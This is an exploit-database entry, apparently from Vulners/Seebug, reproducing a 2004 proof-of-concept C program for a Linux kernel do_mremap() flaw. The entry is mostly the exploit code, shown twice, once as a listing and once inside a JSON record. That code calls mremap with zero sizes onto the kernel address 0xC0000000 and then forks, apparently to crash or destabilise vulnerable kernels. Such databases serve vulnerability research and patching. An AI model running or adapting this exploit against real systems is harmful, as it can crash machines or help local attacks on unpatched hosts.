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Linux Kernel "do_mremap" Local Proof of Concept

2008-07-16T00:00:00

ID SSV:9070
Type seebug
Reporter Root
Modified 2008-07-16T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*
 *  Proof-of-concept exploit code for do_mremap()
 *
 *  Copyright (C) 2004  Christophe Devine and Julien Tinnes
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include &lt;asm/unistd.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

int main( void )
{
    void *base;

    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                 (void *) 0xC0000000 );

    fork();

    return( 0 );
}

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-9070", "status": "poc", "bulletinFamily": "exploit", "modified": "2008-07-16T00:00:00", "title": "Linux Kernel "do_mremap" Local Proof of Concept", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-9070", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2008-07-16T00:00:00", "sourceData": "\n /*\r\n * Proof-of-concept exploit code for do_mremap()\r\n *\r\n * Copyright (C) 2004 Christophe Devine and Julien Tinnes\r\n *\r\n * This program is free software; you can redistribute it and/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation; either version 2 of the License, or\r\n * (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program; if not, write to the Free Software\r\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\r\n */\r\n\r\n#include <asm/unistd.h>\r\n#include <sys/mman.h>\r\n#include <unistd.h>\r\n#include <errno.h>\r\n\r\n#define MREMAP_MAYMOVE 1\r\n#define MREMAP_FIXED 2\r\n\r\n#define __NR_real_mremap __NR_mremap\r\n\r\nstatic inline _syscall5( void *, real_mremap, void *, old_address,\r\n size_t, old_size, size_t, new_size,\r\n unsigned long, flags, void *, new_address );\r\n\r\nint main( void )\r\n{\r\n void *base;\r\n\r\n base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,\r\n MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );\r\n\r\n real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,\r\n (void *) 0xC0000000 );\r\n\r\n fork();\r\n\r\n return( 0 );\r\n}\n ", "id": "SSV:9070", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T21:34:45", "reporter": "Root", "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2017-11-19T21:34:45", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T21:34:45", "rev": 2}, "vulnersScore": 0.2}, "references": [], "immutableFields": []}

Linux Kernel &quot;do_mremap&quot; Local Proof of Concept

Description

No description provided by source.

Linux Kernel "do_mremap" Local Proof of Concept